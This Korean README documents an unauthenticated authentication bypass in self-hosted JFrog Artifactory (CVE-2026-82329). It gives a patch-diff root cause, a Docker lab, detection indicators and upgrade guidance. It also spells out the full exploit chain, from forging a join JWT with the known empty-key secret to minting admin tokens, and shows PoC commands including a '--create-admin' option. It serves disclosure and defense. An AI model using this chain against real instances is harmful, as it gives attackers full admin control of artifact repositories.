# CVE-2026-82329 재현 가능한 Docker 랩 및 Python PoC JFrog Artifactory의 인증되지 않은 인증 우회(auth-bypass) 취약점으로 관리자 계정 탈취로 이어지는 CVE-2026-82329에 대한 재현 가능한 Docker 랩과 Python PoC로, 패치 차이 분석 및 탐지 가이드를 포함합니다.
CVSS 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) · CWE-287 · 2026-08-28 공개 · 실제 공격에서 악용됨.
인증되지 않은 네트워크 인접 공격자가 기본 자체 호스팅 JFrog Artifactory에 대해 플랫폼 관리자 액세스 토큰을 발급합니다. 이 디렉터리에는 재현 가능한 Docker 랩과 URL 매개변수화된 검증 PoC가 포함되어 있습니다.
artifactory-oss 7.161.19(취약, JFrog Access 7.191.11) 대 7.161.20(패치됨, JFrog Access 7.191.14)에서 재현 및 A/B 검증되었습니다.
근본 원인은 공급업체 패치 자체에서 도출되었으며(두 컨테이너 이미지 간 폐쇄 소스 JFrog Access 서비스의 바이트코드 diff), 이후 실시간으로 입증되었습니다 — 제3자 분석 자료에서 가져온 것이 아닙니다.
getSigningKey("") = pkcs7(<empty>, 32) = 32바이트의 0x20 — 완전히 알려진 비밀입니다. 따라서 누구나 유효한 join JWT(alg=HS256, , 새 , 임의의 , )에 서명할 수 있습니다.kid = SHA256("")iatservice_idskip_node_registration=truePOST /access/api/v1/registry/join (RegistryNoAuthResource — 인증 없음) → HTTP 201, admin 범위(audience = Access)의 SERVICE 토큰 반환.POST /access/api/v1/tokens, scope=applied-permissions/admin&audience=* → 전체 관리자 플랫폼 액세스 토큰(실제 공격에서 보고된 "관리자 토큰 발급" 동작).$ python3 poc/cve_2026_82329_poc.py http://TARGET:8082
[+] Step 1 /registry/join -> HTTP 201 SERVICE 토큰 발급 (scp=admin)
[+] Step 2 /access/api/v1/tokens -> HTTP 200 ADMIN 토큰 (scp=applied-permissions/admin, aud=*)
[+] Step 3 관리자 권한 증명:
GET /artifactory/api/system/configuration -> HTTP 200 (18284바이트, 관리자 전용; 인증 없음=401)
GET /access/api/v1/tokens (모든 토큰 나열) -> HTTP 200 (관리자 전용)
[=] 취약 - 인증되지 않은 공격자가 이 인스턴스에서 ADMIN 권한 획득 (CVE-2026-82329).
JFrog Access 7.191.11 → 7.191.14는 정확히 12개 클래스를 변경했습니다. 보안 관련 변경 사항:
JoinKeyAccess.tryResolveJoinKeys()// 취약 (7.191.11)
Arrays.stream(joinKey.get().split(",")).map(String::trim).forEach(jKey -> {
JoinKeyHashPair hashPair = new JoinKeyHashPair(jKey); // jKey == "" 허용
joinKeyListValuesForContext.put(hashPair.getHash(), hashPair); // 빈 키가 신뢰 집합에 추가됨
log.warn("Adding join key with kid: {} to additional join keys", hashPair.getHash());
});
// 패치됨 (7.191.14) -> 빈 항목 필터링됨
Arrays.stream(joinKey.get().split(",")).map(String::trim)
.filter(Strings::isNotBlank)
.forEach(...);
추가 join key가 구성되지 않은 경우(기본값), 구성 값은 ""입니다. "".split(",")는 [""]를 생성하므로 빈 JoinKeyHashPair(kid = SHA256("") = e3b0c442…b855)가 신뢰된 "추가 join keys" 맵에 들어갑니다. JoinKeyHashPair도 생성자에서 null/빈 값을 거부하도록 강화되었습니다.
실제 기본 인스턴스에서 확인됨 — 서버 시작 로그:
o.j.a.s.s.JoinKeyAccess - Adding join key with kid:
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 to additional join keys
해당 kid는 정확히 SHA256("")입니다.
JoinKeyUtils.getSigningKey()public static byte[] getSigningKey(String hexEncodedKey) { return hexDecodeAndPad(hexEncodedKey, 32); }
// 빈 키의 pkcs7 패딩: padLength = 32 -> 32바이트, 각각 == (byte)32 == 0x20
따라서 빈 키의 join JWT는 32바이트의 0x20에 대한 HS256 으로 서명됩니다 — 공격자가 알고 있는 값입니다.
RegistryNoAuthResource (@Path("/v1/registry"), @Authorized 없음):
@POST @Path("join")
public Response join(String jwtStr) { // body = 원시 JWT
JwtToken token = this.joinService.join(jwtStr, ...); // 검증: 새 iat (<30초) + join-key 서명
return Response.status(CREATED).entity(new JoinResponseModel(token.getTokenValue())).build();
}
JoinServiceImpl → ServiceTokenProviderImpl.getToken():
TokenSpec tokenSpec = TokenSpec.create().audience(accessServiceId)
.subject(serviceId).owner(serviceId).scope("admin").expiresIn(0L).refreshable(false);
return tokenService.createInternalTokenWithoutAuthAndNotify(tokenSpec).getAccessToken();
만료되지 않는 admin 범위의 RSA 서명 액세스 토큰입니다. 그런 다음 scope("admin") 서비스 토큰은 POST /access/api/v1/tokens를 통해 전체 applied-permissions/admin 사용자 토큰을 발급할 수 있습니다.
ProjectResource두 엔드포인트가 @Authorized(AuthorizationType.SERVICE) → @Authorized(AuthorizationType.ADMIN)으로 변경되었습니다(GET/DELETE {projectKey}/resources). 이는 악용 프리미티브가 위조된 SERVICE ID이며 SERVICE 권한 표면이 과도하게 노출되었음을 확인합니다.
자체 호스팅 전용(클라우드는 이미 패치됨). 아래 각 브랜치의 마지막 릴리스까지 취약하며, 해당 수정 버전으로 업그레이드하세요:
| 브랜치 | 취약 ≤ | 수정 |
|---|---|---|
| 7.111 | 7.111.20 | 7.111.21 |
| 7.117 | 7.117.27 | 7.117.28 |
| 7.125 | 7.125.19 | 7.125.20 |
| 7.133 | 7.133.28 | 7.133.29 |
| 7.146 | 7.146.37 | 7.146.38 |
| 7.161 | 7.161.19 | 7.161.20 |
수정 사항은 JFrog Access 7.191.14에 포함되어 있습니다.
lab/README.md 참조. 요약:
cd lab
ART_VER=7.161.19 docker compose up -d # 취약(기본값); 약 3-4분 대기
until curl -sf http://localhost:8082/access/api/v1/system/ping >/dev/null; do sleep 5; done
python3 ../poc/cve_2026_82329_poc.py http://localhost:8082 # -> 취약
docker compose down
ART_VER=7.161.20 docker compose up -d # 패치된 대조군
python3 ../poc/cve_2026_82329_poc.py http://localhost:8082 # -> 취약하지 않음 (join HTTP 400)
Artifactory 7.161.x는 PostgreSQL이 필요합니다(Access 서비스가 번들된 Derby를 거부함). 따라서 랩에는 postgres 사이드카가 포함되어 있습니다.
python3 poc/cve_2026_82329_poc.py http://<artifactory-host>:8082
python3 poc/cve_2026_82329_poc.py http://<host>:8082 --create-admin evil:P@ssw0rd1 # Pro/Ent 상태 변경
python3 poc/cve_2026_82329_poc.py http://<host>:8082 --token-only # 관리자 토큰 출력
JFrog Router를 프런트엔드로 하는 모든 대상(/access/… 접근 가능)에 대해 실행하세요. 취약(관리자 획득) 또는 취약하지 않음(join 거부)을 보고합니다. 테스트 권한이 있는 시스템에서만 실행하세요.
POST /access/api/v1/registry/join, 특히 직후에 POST /access/api/v1/tokens가 이어지는 경우.Adding join key with kid: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 … 줄은 빈 join key가 신뢰됨을 의미합니다(패치되지 않은 기본값에 존재).scope=applied-permissions/admin, audience=*의 예상치 못한 만료되지 않는 토큰 또는 서비스 주체 관리자 토큰(sub=<svc>, scp=admin, aud=<access-id>).kid 클레임이 SHA256("")(e3b0c442…b855)과 일치하는 join JWT.브랜치에 맞는 수정 버전으로 업그레이드하세요(위 표 참조). 추가로: Artifactory를 신뢰할 수 없는 네트워크에 /access/api/v1/registry/**를 노출하지 않는 리버스 프록시 뒤에 배치하고, 패치 후 join key를 교체하고 예상치 못한 관리자 토큰을 폐기하세요.
이 디렉터리의 아티팩트: poc/(검증기), lab/(Docker 랩), analysis/(패치 diff + 디컴파일 증거), EVIDENCE.md(캡처된 실행 출력). 승인된 보안 연구용으로만 사용하세요.